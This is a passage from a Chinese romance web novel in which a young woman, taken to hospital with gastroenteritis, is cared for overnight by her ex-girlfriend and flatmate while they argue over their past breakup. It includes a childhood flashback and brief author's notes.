听了她的话一点攻略都没做,全靠姜又柠一人指挥。 走错路没关系,只要她们在一起, 眼中看到的一切都可以是风景。 饭后姜又柠还拉着岑曳在商场角落的机器裏拍了九宫格大头照,维持四五天的二人世界格外尽兴。 新手机裏拍满了她跟岑曳的合照, 姜又柠大言不惭地说, “我要用一辈子这个手机, 不然我怕裏面的照片丢了。” 分手之后, 这个手机姜又柠用了几年就开始卡了,她利落地换了新手机,将所有的回忆都封存进了一个大箱子裏。 周末答应好江诗文要陪她去见庄玟,昨晚跟岑曳的交谈不算愉快, 她在手机上给她发了见面的时间, 对面只回了个好。 她现在不是在岑家住的那个天真小女孩了,经历过暗恋经历过爱情,她能够懂岑曳的意思。 可她没有少年时候的勇气了,成年之后人总会考虑太多。 考虑合不合适,考虑能不能有个可见的未来。 她们之间已经经历过一次失败了, 姜又柠不能拿自己现在的生活去赌这些, 岑曳有退路, 她一直没有的。 已经入秋了,姜又柠换掉夏季爆款洞洞鞋,在床底下找出了去年买的秋季爆款勃肯鞋。 她的收集癖本来就有点严重,在岑家的时候吃完岑曳给她的那些巧克力, 还会把包装纸全收集起来。 后来岑曳看见了觉得有细菌不干净,还容易招虫子,姜又柠只好全部扔掉了。 独自在国内生活的这几年,她又开始收集乱七八糟的东西。 什么联动奶茶瓶子,洗一洗摞在一起放着;好多家甜品的纸质包装袋,花裏胡哨的分外好看,也整理起来放在一起…… 虽然没什么用,但看着好看。 除了这些毫无使用价值的东西,剩下的就是鞋盒了,在姜又柠的床下面堆了好几摞。 幸好搬家的时候这些鞋盒最先搬过来,不然岑曳看见了说不定又要催着她扔掉。 她拿出两双秋季的鞋子,将洗干净的洞洞鞋放进去,不小心碰到旁边的鞋盒,它就摔在了地上。 姜又柠看了眼,是她小时候难得的荣誉证书。 几张进步学生的奖状,一张四百米接力赛的三等奖…… 运动会她本来不想报名的,她的体质不好,不仅成绩差,体育更是稀巴烂。 但运动会得凑人数,她便跟着三个体育生报名了四百米接力,说不管她跑得多慢,都能三带一带飞她。 但姜又柠一拖三,最后把几个体育生硬生生拖成了第三名。 除了初高中的奖状和荣誉证书,就剩下她大学的材料和毕业证了。 “原来毕业证在这个箱子裏啊,用的时候找不到,这会儿冒出来了。”姜又柠嘟囔一句,把毕业证拿出来压在衣柜的最下面,顺手又打开了下面几个鞋盒看了看。 是一个旧手机和透明密封袋,姜又柠抿抿唇,一下子就想起来裏面装的是什么了。 这个盒子裏都是她跟岑曳的回忆。 密封袋最外面那层就是她高中毕业的那个暑假,跟岑曳旅游时拍的九宫格大头照。 姜又柠将手机放在床头桌上,把密封袋也一并拿出来,“……还是找个时间扔掉好了。” 不过得背着岑曳扔。 她得改改自己的收集癖了,怎么会有人分手了还留着前任的东西呢? 这对她下一任女朋友不好。 嗯,是这样的没错。 周六下午的时候,江诗文先来了家裏。 “你跟岑曳姐说过跟庄玟见面的时间了吧?” 姜又柠点点头,中午趁着她吃饭的时候又问了一句,她说知道了。 “没别的回答吗?” “没有啊,反正她都同意了,你放心好了。”姜又柠说完,岑曳就从房间裏走了出来。 她穿了吊带衫,下面搭配浅棕色长裤。 “岑曳姐,今天降温了,你多穿点儿。”江诗文友好地笑了笑,主动试探了岑曳的态度。 岑曳冲她点点头,转身走进了洗漱间。 “怎么你一说就同意,我一说就不行啊?”江诗文还在奇怪着,“果然还是青梅间的感情比较重要吧?” “你吃点圣女果开开胃,等会儿得出发了。”姜又柠试图让她停止遐想。 “你家是圣女果批发商吗?怎么天天都在吃这个?” “应该是把不爱吃的番茄汤以另一种方式补回来吧。”姜又柠说着冷玩笑,回屋裏换了出发的衣服。 岑曳拿着车钥匙,姜又柠正准备跟着江诗文上后座的时候就被女人拎了回来。 她冲着副驾驶扬了扬下巴,姜又柠刚张了张唇就看到她眸光中的威胁。 “切。”姜又柠还是乖乖坐到了副驾驶上。 车子稳稳行驶,姜又柠转头问,“诗文,到时候我需要干点啥吗?” “不用,你和岑曳姐就坐着吃饭就好了,帮我涨涨气势!”江诗文说,“我已经跟我妈妈沟通过了,说这些事情她会跟庄玟的妈妈沟通的,我跟庄玟就好好相处就行了。上次她态度不好,我这次是勉强给她个臺阶下,跟她解决一下矛盾,之后工作也要常常见面,不能老是这个样子。” “好!”姜又柠重重点头,保证了自己的决心,顺便碰了碰岑曳的胳膊肘,“到时候你要跟诗文站在一起,知道吗?” 岑曳轻飘飘看她一眼,“这就是你求人的态度?” “我求你?我什么时候求你了?你爱站不站。”姜又柠就知道她不会好好答应自己。 江诗文坐在后排观察着前面的两个人,她觉得这两人之间的气氛真诡异。 有一种争吵之中格外和谐的感觉。 不像是许久未见,重逢之后会有的窘迫感,倒像是情侣吵架,各自都不乐意服软后退一步,但因为特殊原因却不得不互相说话的感觉。 “柠柠……”江诗文加入到聊天当中,“你跟我很熟,岑曳姐跟庄玟很熟,现在我有一种我跟庄玟相亲,然后各自带了个朋友参谋的感觉。” “停止幻想吧。” 江诗文思维发散得很快,脑子跟她一样天马行空。 但这种丢人的幻想她们两个私下聚会的时候一起梦一梦就算了,她真不想让岑曳听见这种奇怪的评价。 “不是幻想哦。”江诗文振振有词道,“你知不知道那些肥皂剧裏,后续的普遍发展是那两个朋友在一起了?” 姜又柠下意识看了眼岑曳,岑曳嘴角微微上扬,依旧默不作声开着车。 “而且你们两个从小都认识,对彼此知根知底的,难道从来都没有过那种想法吗?” 江诗文看看姜又柠,“我们柠柠这么可爱?” 又看看岑曳,“我们岑曳姐又这么漂亮有气质?” “行行行,你说的都对。”姜又柠将她按回后排,“你再在脑子裏排练几遍跟庄玟见面的场景好不好?别出差错掉了气势。” “……好吧。” 庄玟没什么喜好,对于那些满是味道的苍蝇馆子更是没有兴趣,所以次次在饭点见面的时候都将地点定在了西餐厅。 这次还特意换了个包厢,保证了沟通环境的安静。 庄玟看见岑曳倒是有些意外,但看见姜又柠就立即对于岑曳的到来不意外了。 恋爱脑追妻呢,不理解但可以尊重。 菜单递了上来,江诗文先让姜又柠挑,“柠柠你多点些贵的,反正是庄玟买单。” 姜又柠对于庄玟除了是好闺蜜结婚对象的印象之外,就是自己的领导了。 况且庄玟的气质的确生人勿近,幸好她把岑曳拉过来了,不然她真怕自己跟江诗文一起挨训。 她随便点了份牛排和果汁,心疼着自己的肚子能不能吃饱。 岑曳看也没看菜单,对着侍应生道,“我的跟她一样。” 姜又柠瞟了女人一眼,瘪瘪嘴没有说话。 没等饭菜送上桌,江诗文就主动开了口,“我跟我妈妈说了我已经跟你在国内见到的事情,她说我跟你只需要考虑领证,至于后续的股权分配,她会跟你妈妈沟通这些,不需要我们两个人参与。” “可以。”庄玟抬眼看她,眸光中没什么温度,“什么时间跟我去国外呢?” “忙完这段时间吧。” 正好她也能跟庄玟近距离相处一下,看看这女人有没有什么把柄能让她抓住的。 岑曳那边太难下手了,连姜又柠也问不出什么。 “休息时间内,如果你想要跟我好好发展一下关系,我也可以接受,要见面的话你随时联系我。” “我主动?凭什么不能是你主动?” “也行。”庄玟这会儿态度倒是好了不少,对于江诗文的话有求必应,“没有加班的时候我都会联系你,你在哪个小区住?” “……哦。”她立即想起来,“岑曳那个小区是吧?你乐意的话我也可以到家裏拜访,不用你出门。” “看情况,反正你得配合我的时间,我放假的时候从来不早起,你最好不要在早上的时候给我打电话吵醒我,影响我的睡眠质量,影响我的容貌!” 姜又柠切着牛排,刀尖在盘子裏不小心划了下,发出了细微的摩擦声。 她惊讶地咬唇,生怕自己被迫参与到旁边的争斗当中。 江诗文的嘴真厉害,她好像工作之后就失去了所有怼人的力气,只有在岑曳出现的时候,她才现了原形。 岑曳慢条斯理地切好了牛排,手微微前倾,放在了姜又柠的面前,“没动过,跟你点的一样。” 两个理由让姜又柠说不出拒绝的话来,她也不好当着旁边两个人的面跟岑曳产生些不和谐的对话,便跟她交换了盘子自顾自地吃了起来。 岑曳切着第二份牛排,相比于姜又柠严肃紧张的状态,她完全将身边嘈杂的对话声屏蔽得一干二净,专心将自己的注意力全放在了对面的姜又柠身上。 别人的感情关系她不在乎,不过这次倒是让她沾了不少光。 姜又柠性格也犟,小时候跟她吵架她能拉下脸去哄她,姜又柠傲得很,就等着她去服软主动。 但现在不一样了,姜又柠在逃避她的主动,甚至每次在她提起过去的时候,总会说些格外刻意的话去掩盖当初分手的事实。 岑曳看不出她复合的意愿,也找不出能够跟她多次接触的理由。 明明身处在同一个屋檐下,她却不能像当初那样跟她亲密。 要不是庄玟跟江诗文这檔子事儿,她跟姜又柠也不会被当作和事佬一样被三番两次地拉出来。 “领了证之后,我们就各玩儿各的,我跟谁暧昧跟谁谈恋爱,你都管不着我。” “随你,但不要闹到明面上来。” 庄玟一副无所谓的样子,江诗文心裏发堵。 怎么反驳她的时候她就很生气,现在顺着她了她还是很生气? 这女人真冷血。 “你要是有岑曳姐一半温柔就好了。”江诗文心情复杂。 话落,一直闷头吃饭降低存在感的姜又柠第一次从庄玟那裏感受到了看过来的眼神。 姜又柠将脑袋埋得更低了。 “岑曳心裏有选择,你还是趁早放弃吧。” “我就是打个比方!谁愿意跟工作狂在一起啊?”江诗文冷哼,“不过岑曳姐喜欢谁啊?” 庄玟终于动了第一口牛排,“不是跟我说,你对于周围人的感情发展感知很敏锐吗?” “当然了!”江诗文说,“周围人有没有暧昧对象我一眼就能看出来!” 庄玟勾勾唇,语气不屑,“这种过于自信的话还是少说,很容易让我对你的工作能力也保持怀疑态度。” “不是你什么意思啊?我工作很认真的,不信你问岑曳姐!” 短短的几句对话,姜又柠已经用眼神求助了岑曳无数次。 火都烧到她俩身上了,岑曳怎么一点掩盖的意思都没有啊? 岑曳对于她的求助无动于衷,反而侧头问她,“还要再点些什么吗?” 姜又柠扯了扯江诗文的袖口,“聊跑了,你扯不相干的事情干嘛?” “对哦。”好朋友的劝告让江诗文一下子冷静下来,“反正以后好好相处,合适呢就做个朋友,不合适的话等两个妈妈沟通好之后,我们随便找个借口离婚就好了,反正现在为了钱假结婚假离婚的有很多。” “这样的法子也不错,倒是省了不少后续的麻烦。” “不浪费时间了。”江诗文站起来,“柠柠,要不要一起去吃你原来那小区楼下的串串?” 姜又柠倒是想答应,看了眼对面的岑曳。 是她把岑曳拉过来的,但岑曳肯定不会跟她们去吃这种路边摊,可丢下岑曳又不太好。 “要不要送你们过去?” “不用。”姜又柠摆摆手。 岑曳自知她们不乐意让自己打扰,“那你们去吧,我跟庄玟聊些工作上的事情。” 江诗文拉着姜又柠就走,临走之前还不忘吐槽一句,“两个总部的业界毒瘤。” 姜又柠点点头,无声地赞同了她的话。 两个人打了辆车去了原来的小区。 喝了啤酒吃了烧烤,江诗文又吐槽了一大堆。 这次江诗文讲了不少自己的感情经历,讲她失败的几次暗恋,要么对方把她当鱼钓,要么是海王同时撩几个。 “你说我是不是太傻了?还有人说我咋咋呼呼的没脑子。”江诗文又喝大了。 姜又柠喝得很少,她现在很克制,倒不是为了让她们之间至少留下一个清醒的人方便回家。 而是她现在在跟岑曳合租,醉后的事情不可控,上次她喝了半瓶啤酒就差点跟岑曳吻在一起,要是喝醉了第二天醒来发现自己脱光了跟岑曳躺在一张床上怎么办? 这种事情在她们恋爱期间发生小矛盾的时候是发生过的,而且不止一次。 姜又柠生怕重蹈覆辙。 “怎么会这样呢?”姜又柠不明白。 江诗文的家境很不错,人也可爱漂亮,肯定会有很多人喜欢她。 “不知道,可能我桃花宫是空的?或者乱糟糟的,没有正缘。” 姜又柠咂咂嘴,闷头喝了一小瓶啤酒。 中途岑曳发了条消息。 【岑曳:临时开个会,晚点回。】 姜又柠回了个知道了。 两个人聊起来就忘了时间,过了零点她们搀扶着走到了小区门口。 正准备进电梯的时候,姜又柠反应过来了,“我早都不住这裏了,还想着去我家睡呢。” “对哦,你忘了,我也忘了……”江诗文嘆口气,“我现在走路有点不稳了。” “我打个车,你等一下。”重新走到小区门口,姜又柠看着手机界面上排队的87个人,心想这得到什么时候才能打上车。 这个小区周围有好几道夜市,一到这个点儿就很热闹。 而且晚上打车也贵,顾忌着喝醉的江诗文,姜又柠狠狠心加了几个价,很快就打了一辆专车。 姜又柠走到后车门,犹豫了下,“这车门怎么开?” “笨啊你柠柠。”江诗文开了车先坐上去,跌跌撞撞的,两个人终于回了家。 姜又柠先把江诗文送回了家,然后慢悠悠朝着自己所在的那栋楼走。 已经快一点了,她又收到了岑曳的消息。 【岑曳:刚开完会,今晚睡公司,直接把门反锁吧。】 居然还没回来,甚至不回来了? 姜又柠讶异着,这女人在总部工作的时候也这么拼吗? 她还以为岑曳跟庄玟会叙旧一会儿就各回各家来着,居然跑去公司开组会了? 姜又柠心疼了一秒钟庄玟手下的员工。 姜又柠洗了个澡,舒舒服服地躺在了床上。 半夜的时候,她被剧烈的腹痛弄醒,摸了下自己的额头,烫得吓人。 姜又柠扶着墙慢慢走到厕所,拉了好几趟肚子。 实在痛得受不了,她往杯子裏装了热水放在小腹那裏,强忍着打车去了医院。 凌晨的医院人不算多,她坐在输液大厅,喝着已经变温的水。 医生诊断是急性肠胃炎,她大概是刚刚吃路边摊吃得太杂了吃坏了肚子。 周围很多病人都有人陪着,姜又柠靠着墙,格外熟悉这种感觉。 在上一个公司拼命加班的时候,她独自来过医院很多次。 刚开始的时候不太适应,总是偷偷掉眼泪,偶尔路过陌生的阿姨会给她递个纸巾或者跟她聊聊天。 后来习惯了,姜又柠就麻木了,变成了一个无聊的大人。 但现在,莫名的,她又有点为自己感到心酸了。 小时候生病,姜鸿英顾不上照顾她的时候,都是岑曳照顾她的。 哄她吃药,逗她开心,说等她好了给她奖励。 姜又柠忍不住鼻子发酸,眼泪很快就掉了下来。 为什么岑曳回来之后,她缓解情绪的能力又变得这么差了? 姜又柠点开手机,手指犹豫了下还是点进了岑曳的聊天框。 【姜又柠:诗文,晚上那个路边摊好像不太干净,你有没有拉肚子?】 【姜又柠:我现在急性肠胃炎一个人来市医院输液了,你还好吗?】 发出这两条消息的时候,姜又柠手都在颤抖,心跳快得很。 她知道岑曳在公司忙,这会儿肯定已经睡下了。 她知道岑曳辛苦,不应该这个时候再打扰她。 可她真的忍不住,她想见到她…… 如果,如果岑曳真的来的话,她就说太难受了,没看清联系人是谁。 她总能等到岑曳来的,也总能留下她的。 她相信岑曳,一直是那个最疼爱最溺爱她的好姐姐—— 作者有话说:我们可怜的小姜略施小计,难过的时候还是最想见到我们岑姐啦br> xql咋这么甜哼哼~~ 第29章 手机铃声很快就响了起来, 姜又柠本身就犯困,一下子就清醒了。 她睁开眼睛,看到了岑曳的来电, 立马接了起来。 “喂?干嘛?”她尽量放平自己的情绪,不想让岑曳看出一丝一毫的纰漏。 ——“一个人在医院?”电话那边,女人的音色微哑, 不如往日那般清明。 大概被打搅了休息。 “谁跟你说我在医院的?”姜又柠用袖口擦了下濡湿的眼睛,重新将手机放在耳边。 ——“我看到你的消息了。”岑曳说, “我大约半个小时之后到。” 姜又柠已经能够听见那边将手机放下, 衣服窸窸窣窣的声音。 她等了几秒钟才回, “我消息发错了, 你不用来了,我输完可以自己打车回去。” ——“坐着不要乱跑,等我过来。” 说完电话就被挂断了,姜又柠盯着通话记录, 心裏酸酸涩涩的, 涌上了些细微的欢喜。 独自在医院的时候,她居然也会有一种难得的期待的感觉。 最开始她并不适应一个人来医院,还会异想天开地去想,岑曳会不会突然出现在她面前,让她不用再独自硬撑, 独自坚强。 可幻想总是美好的, 一睁开眼睛发现还是孤身一人的时候, 她就更显得可怜了。 但现在,那时候的幻想好像成真了。 比开心更多的情绪是苦涩,姜又柠很难形容自己这种下意识想要靠近却又想要抗拒的复杂感。 手机上的时间缓缓流逝,过得好慢。 直到不远处传来急匆匆的脚步声, 姜又柠抬了眸,从女人的面容上看到了明显的担忧。 她手裏拿了个保温杯,“喝点热水。” 姜又柠给她看自己怀裏的水杯,“我自己带了。” 岑曳跟她交换了杯子,“帮你再接点热的,已经冷掉了。” 保温杯已经被拧开了放在扶手上,这是岑曳在公司用的杯子,姜又柠记得很清楚。 看她头发微微凌乱的样子,就知道是睡了之后又被她喊过来的。 小时候她生病,岑曳陪着她的时候,她矫情,喜欢让岑曳抱着她。 岑曳真就一晚上不睡,给她看着输液瓶,把她乱动的手摆好握住。 那时候不懂事,只知道很幸福很温暖,现在的姜又柠心裏涌起了一点点愧疚。 岑曳很快又换了一杯热水回来放在她的小腹上。 女人半蹲下来,手揉着她的肚子,“还难受吗?” “我消息发错了,我最近就只跟你和诗文联系过,你俩在微信上面挨着呢,我没看清。”姜又柠依旧解释这些。 “这是重点吗?” “是。”姜又柠垂下头不敢看她,“我发错消息了。” 她就喜欢这样闭着眼睛说服自己,不是她想岑曳来的,是岑曳非要过来的。 她都说是发错了,岑曳完全可以当没看见睡着了的。 岑曳拿过保温杯递到她嘴边,“张嘴。” 姜又柠微微张唇,就着杯口小口小口地喝着热水。 “还有几瓶?” “三瓶吧,这是第一瓶。”姜又柠抬头看了眼,这瓶已经快要输完了,“你回去睡吧,不是刚忙完?” 岑曳不听她这些话,手放在她的额头探了探,“还有点烫。” “我过去都是自己来医院的,我自己能照顾自己。” 女人反问她,“生病来医院很骄傲?” “我又不是那个意思。”姜又柠瘪瘪嘴,“我是说我不用麻烦你。” “你要还有精力就多说几句,困了就睡会儿。”岑曳说,“我今晚就在这儿待着,不会走的。” 岑曳在她身边坐下,给她盖上了自己的外套。 “对了,那天午休你的外套我给你挂衣架上了。” “嗯。”女人应了声,手强硬地揽过她的脑袋,要她靠在了自己的肩上,“现在不是小孩子了,还用我抱着你输液吗?” 姜又柠抿抿唇,靠着她的肩膀怎么都觉得别扭。 她是不抗拒跟岑曳近距离接触的,但觉得现在没理由没立场。 小时候是把岑曳当姐姐,喜欢跟她待在一起。 十八岁之后,岑曳是她女朋友,谈恋爱当然要天天黏在一起了。 可现在,她们以什么身份呢? 前任?上司和下属? 就算是关系很好的合租室友,也不可能一晚上不睡守着因为急性肠胃炎而输液的室友吧? 姜又柠似乎也染上了强迫症,总想要给自己的每一个行为都安上一个合理的说法。 困意来袭,身边人的怀抱又实在温暖,姜又柠很快就睡着了。 但她睡不太好,医院的长椅太硬,她坐一会儿就觉得屁股硌得难受,眯着眼睛挪动了几下身体。 不知道挪动了几次,岑曳搂过她的腰,“睡不好吗?帮你垫个垫子好不好?” 她没什么意识,任由着女人碰她,很快屁股下面就垫了一个很软的垫子,这下舒服了很多。 梦裏,她回到了小时候。 鼻尖还是医院裏的消毒水味儿,她小小的身体被岑曳抱在怀裏。 姜又柠小时候营养不良,刚到岑家的时候也一直生病,姜鸿英怕耽误岑家的家政工作,姜又柠生病了也都是给她吃药,熬一熬就能好。 但一次严重了,吃药了一星期都没见好,岑曳周末回家之后,姜鸿英就给她请了假。 得知缘由的岑曳急了,没忍住对着姜鸿英发了几句脾气,“你早些跟我说嘛,柠柠这么小,生病就快些去医院,你这不是耽误她吗!” 她没理会姜鸿英的道歉,抱着意识不清的姜又柠就去了医院,姜鸿英在医院忙着医保报销,岑曳便抱着姜又柠陪她输液。 不知道什么时候怀裏的小姑娘醒了,岑曳最先感觉到的是颈窝裏蹭到的热泪。 “怎么了?”岑曳擦掉她的眼泪,“很难受吗?” 姜又柠点点头,彼时的她还不敢跟岑曳太亲近,“妈妈骂我了,说我乱吃东西……” “学校的饭好难吃,还有虫子……我不喜欢吃……就吃了几包辣条……” “天气热,我还喝了冰水,超市买的,两块钱,我都没有买六块钱的饮料……” 她流着眼泪讲这些对于十二岁的她已经算是天大的事情。 “没事的。”岑曳笑了笑,又帮她擦眼泪,“等你病好了,我带你去吃好吃的,好不好?” “妈妈会不高兴的……我周末得去她上班地方的宿舍吃饭,那裏好多次都是大锅饭……”姜又柠不能再说嫌弃的话,“我,我也挺喜欢吃那个的……” “生病了还撒谎啊?”岑曳抱着她要她坐在自己的腿上,面对面看着她,“上次考试是不是进步了?给你奖励。” 姜又柠不知道该不该答应,随后姜鸿英就朝着这边急匆匆走过来。 “岑小姐,我来抱着柠柠吧,你先回去休息。”姜鸿英的额头上忙得都沁出了细汗,手裏拿着几张病历单,“孩子不懂事儿,贪吃,也给你添麻烦了。” “不用,她都快睡着了,别给她又折腾醒了。”岑曳将她拢进怀裏,姜又柠闻言没敢再乱动,还真装出了一副睡着的样子。 这是她们彼此间心照不宣的第一次默契。 “姜阿姨,你现在是不是还得给另个家裏做饭?” 姜鸿英愣了下,还是承认了,“是,您要是不同意的话,我可以把那边的辞掉,让公司换个人去!” 岑曳也不是每天都在家,姜鸿英想着空闲的时间她也能接一些散活儿,好能多赚点钱。 但就怕雇主不乐意,嫌她不专心。 “我是怕你太辛苦,你要是觉得钱少,我可以跟我妈商量,再给你多加点。” 姜鸿英一时语塞,不明白岑曳的话是好是坏,就怕是在试探她的态度。 “不用了,现在的薪水已经很高了。” “总不能为了赚钱把柠柠的身体耽搁了。”岑曳依旧拍着怀裏小姑娘的后背,“另个家就别去了,空闲的时间多陪陪柠柠,薪水的事情我会跟我妈再谈一谈的。” 姜鸿英思索了下,感激地笑了笑,“好!谢谢您!” “这周让柠柠住家裏吧,听说你们家政公司是集体宿舍,她待在那儿应该也挺吵的。” 若是刚刚没提加薪水的事情,姜鸿英也好反驳几句,但此刻她说不出拒绝的话来。 “会不会打扰您?” “不会,柠柠挺可爱的,我挺喜欢她的。”岑曳说,“你回去休息吧,这周也不用过来了,柠柠我来看着。” 姜鸿英面上还格外犹豫,岑曳继续说,“嫌我不会看孩子?” “……那倒不是。” “那就放心回去吧,明天还得早起吧?”岑曳看着她的眼睛,“听说另个雇主那边每天八点要吃上早饭,是吗?” 姜鸿英面上略带窘迫,原来岑家母女把她的小动作知道得一清二楚。 “那,那我就先回去了。”姜鸿英嘆口气,“麻烦您了,要是您有情况就喊我!我马上就来家裏!” 目送着姜鸿英离开之后,岑曳看了眼怀裏依旧一动不动的小姑娘,戳了戳她的鼻子,“还装睡呢?” 姜又柠睁开眼睛,“我这周末真的能来家裏住?” “刚刚还不是故意说给你听的?” “姐姐,你人真好!”姜又柠激动地抱住她,岑曳拦了下她的手腕,顾忌着她手上的输液针,颇为无奈地笑了笑。 周末,好转的姜又柠就暴露了本性。 虽然输液退烧了,但她还是得吃药。 她不经常吃辣条的,但吃一次就停不下来,又不想吃很苦的药,赖在家裏跟岑曳耍花招。 “五毛一包,很便宜的,比好几十的药便宜多了。”姜又柠拉开书包的拉链给她看,“我那天买的,还剩一包,要不我们一起吃?你尝一尝嘛。” 岑曳面无表情地盯着她,“姜又柠。” “我先吃完辣条再吃药行吗?”姜又柠半跪在地上,双手撑着沙发可怜兮兮地求她,“白细胞要勾引一下,我用辣条把它们在我的身体裏都勾引出来,这样白细胞这样才能尽情出动为我杀敌啊!” “你还知道白细胞啊?” “……上周刚学的。”姜又柠格外赞同自己的话,“我没骗你哦,我们老师就是这么说的,得有病菌白细胞才出动呢,我不吃辣条哪儿来的病菌啊?” 书包裏是摆得乱糟糟的书,和作业本大大小小地混在一起,几个笔没装起来,塞到了书包的最下面,空的地方还塞了几包垃圾零食。 “我可不会一直惯着你。”岑曳看得心烦,“我可以把你的书连着书包全扔了。” 姜又柠僵硬地看她一眼,认真揣测着她的表情,好像没在开玩笑。 她怕岑曳让自己回集体宿舍住,那裏的阿姨们最喜欢逗孩子,非要看着她眼睛红了忍不住流眼泪才哈哈大笑着一哄而散。 姜又柠拿过药就往嘴裏塞,顺便吞了一大杯温水。 “哎……”岑曳没能拦住,无奈得很,“都说了是饭后药了……” …… 回忆着刚认识没多久的情形,坐在医院走廊长椅上的女人的嘴角轻轻上扬了下。 护士过来换上了第三瓶,细微的动静将姜又柠吵醒了。 “我还以为结束了……”姜又柠脖子有些酸,转了转脑子望着白色的地砖发呆。 “再睡会儿吧。” “你休息吧,最后一瓶了我自己看着就行。”姜又柠看见了女人眼裏明显的红血丝,“你是不是刚睡下就被我喊过来了啊?” “不是发错消息了吗?” 姜又柠努努唇,“……这不是一个意思嘛。” 她拢了下身上女人的外套,再次劝阻,“我真没那么脆弱。” “熬习惯了。” 姜又柠惊讶了下,岑曳的作息是很好的,到点就睡,要是超过了某个标准时间,她就会翻来覆去焦虑地睡不着。 “总部的工作强度确实不小,忙起来就没空想东想西了。” 她没时间为她的强迫症焦虑,也没时间被那些痛苦的回忆折磨。 “那你的强迫症还好吗?” 岑曳沉默了会儿,“要轻很多了。” 过分干净更像是她的习惯,她不会频繁地疯狂洗手,也只会偶尔出门前回去看一眼有没有将门关上。 现在的她,无法控制住自己的思想倒是更多一些。 得不到拥抱,得不到亲吻,就会让她心痒难耐。 她转眼看向姜又柠的唇,因为生病要微微发白,此刻配上发烫绯红的双颊,更显得可怜动人。 岑曳收回眼神,勾了勾唇。 “你笑什么?” “在想你现在的白细胞有没有被勾引出来为你上阵杀敌。” 姜又柠窘迫地眨眨眼,“小时候我爱胡说八道,你又不是不知道。” “十八岁过生日的时候,也在胡说八道吗?” 姜又柠沉默了几秒钟,又一次听懂了女人的暗示。 “你回国是为了帮总部开发国内市场吗?” “我还没那么热爱工作。”岑曳语气很淡,“姜又柠,你明明知道答案。” “房子已经住了一个月了。”姜又柠转移了话题,“我觉得房子挺好的,合适的话我是打算续租的,你之后要是不住的话,就提前告诉我,我好去找室友。” “这么急着撵我走?” “你之前不是说过吗?在国内工作的话,你会另外买一套自己的房子住,说租房子不太稳定。” “那我后面那句话呢?” ——“买一套房子,我们一起住进去,一起组成一个小家。” 姜又柠嘆了口气,酸酸涩涩的,“我们住在一起其实不太……” 她不知道该怎么直白地说出自己的答案。 她跟岑曳住在一起,太容易走火了。 热恋之时被迫分开,感情是断不掉的,星星之火可以燎原,一旦有了新的接触,火焰就会瞬间蔓延。 姜又柠想明白了,她还是喜欢岑曳的。 不然不会有委屈还会想着找她,生病了想要她陪自己来医院。 那么浓烈的感情怎么可能一下子舍弃呢? 明明岑曳是她最喜欢的姐姐啊。 如果跟岑曳的距离远一些,她大可以像之前那样强撑着。 只要熬过去就好了,明天会是一个新的、完整的一天。 她不需要岑曳保护她、照顾她,她自己也会成为一个非常优秀又成熟的大人。 只不过累一些,苦一些,可她会慢慢学会独自生活的。 “别想和我两清。”岑曳的态度很强硬。 姜又柠自顾自地开口,“我小时候确实受了很多你的恩情,我会记住的,我也会还的。” 至于感情这方面…… 岑曳掀了掀眼皮,不怎么喜欢她说这种话。 “我欠你太多,我会努力还的。” 女人苦笑了一声,语气裏带着自我嘲讽,“怎么会还得清呢?” 她的一颗滚烫跳动的心脏既然给了出去,就没想着再收回来。 那颗冰冷的心,只有在姜又柠那裏,才是鲜活有力的。 “我们都清楚分手的原因,也都懂这个原因是不可能解决的。”姜又柠的声音很低很轻,“过去的事情,就让它过去吧,好不好?” 她的头栽得越来越低,模糊的视线看见了一滴眼泪落在了自己的鞋尖上。 她很怕这种不受控的感觉,黏黏糊糊地纠缠在一起,不知道什么时候就会情不自禁地吻到一起去。 那之后呢? 重蹈覆辙吗? 那个时候,她还能不能留在A市,有没有勇气选择一个新的城市继续生活? 小时候她可以随心所欲,但现在她做事需要考虑后果。 过去那个瘦瘦小小的姜又柠总说着,‘我会成为一个对自己负责的大人’,现在的姜又柠该履行自己小时候说过的话了。 身边的女人许久没说话,姜又柠吸了吸鼻子继续说道,“诗文跟我们都是朋友,我也不想让她知道这件事情,不然她会在我们中间会很难做的……她有好几次都在问了,你应该跟我一样,糊弄一下的……” “姜又柠,跟我谈过恋爱就这么丢人?”每句话都不是她爱听的。 看到姜又柠的消息之后,她那点儿睡意就完全没了。 她急匆匆跑来医院,不是听姜又柠告诉她,要她忘掉过去的。 “不是,你老是曲解我的意思……”姜又柠跟她讲不明白,也或者岑曳根本不想跟她理明白。 “我们是谈了次恋爱,不是当了次仇人。”岑曳淡声道,“你没必要讲到这些事情的时候,总是在逃避。” “因为我做错了事情,我对你说了很多难听的话,对不起……”姜又柠心裏格外委屈,好想找个口子说一说,“我希望你能原谅我,别再因为过去的事情放弃大好的前途跑来国内受苦。” “你小时候跟我讲,不想成为一个虚僞的大人。”岑曳说,“现在的你,每一句话都不够诚实。” 在岑家生活久了,姜又柠多多少少也能分辨出那些主动拎着礼物来岑家做客的人的意图。 她不喜欢那些虚僞社交的大人,觉得她们这群人裏,只有吃到她嘴裏的零食勉强能有点价值。 岑曳不愿意相信现在的姜又柠不喜欢她,她固执地反驳她的话,她希望自己的主动是有用的,而不是在姜又柠这裏屡屡碰壁。 “岑曳……”姜又柠拉长声音喊她,后面的话被走过来的护士打断。 她的输液针被拆掉,对着陌生人,姜又柠的话就更说不出口了。 两个人站起身,岑曳视线灼热地看向她。 她抬手擦掉她的眼泪,笑着看她,“从小你就爱吃垃圾食品,一点儿都不顾及自己的身体。” 女人晃了晃手裏的药,摸了摸她的头,“你听话,等你病彻底好了,我陪你吃你爱吃的,再给你做好吃的。” 姜又柠怔愣地看她,鼻尖还是抑制不住地发酸。 这个女人就这样选择性地忘掉她刚才所有的话,跟小时候面对耍脾气时的她一样,耐心又温柔地哄她—— 作者有话说:[害羞][害羞] 第30章 凌晨的路上车辆很少, 寂静的只能够听到呼呼的风声。 姜又柠靠着座椅,脑子因为哭泣涨涨的,细微的晕眩让她有些发懵。 她忘了岑曳向来说一不二的, 小时候她的那些顽劣,不过是因为折腾不出什么大事儿,都在这个女人能够容忍的范围内。 她不吃药对她耍性子, 逃课被她抓到,终于磨得岑曳生气的时候, 她还会是怕她。 就像现在一样, 她的反驳在岑曳那裏根本毫无作用。 “你之后要是不搬, 那我就另外找套房子了。” 始终面无表情的岑曳露出了些许不耐, “我只当你是烧糊涂了说傻话,别再让我听到你说这些话。” “……”姜又柠张张唇,嘴边的话最后还是变成了一声‘切。’ 输完液之后,姜又柠身上出了不少汗, 黏糊糊的, 一点儿都不好受。 她出来得急,只有手机和杯子,此刻开了车窗吹风。 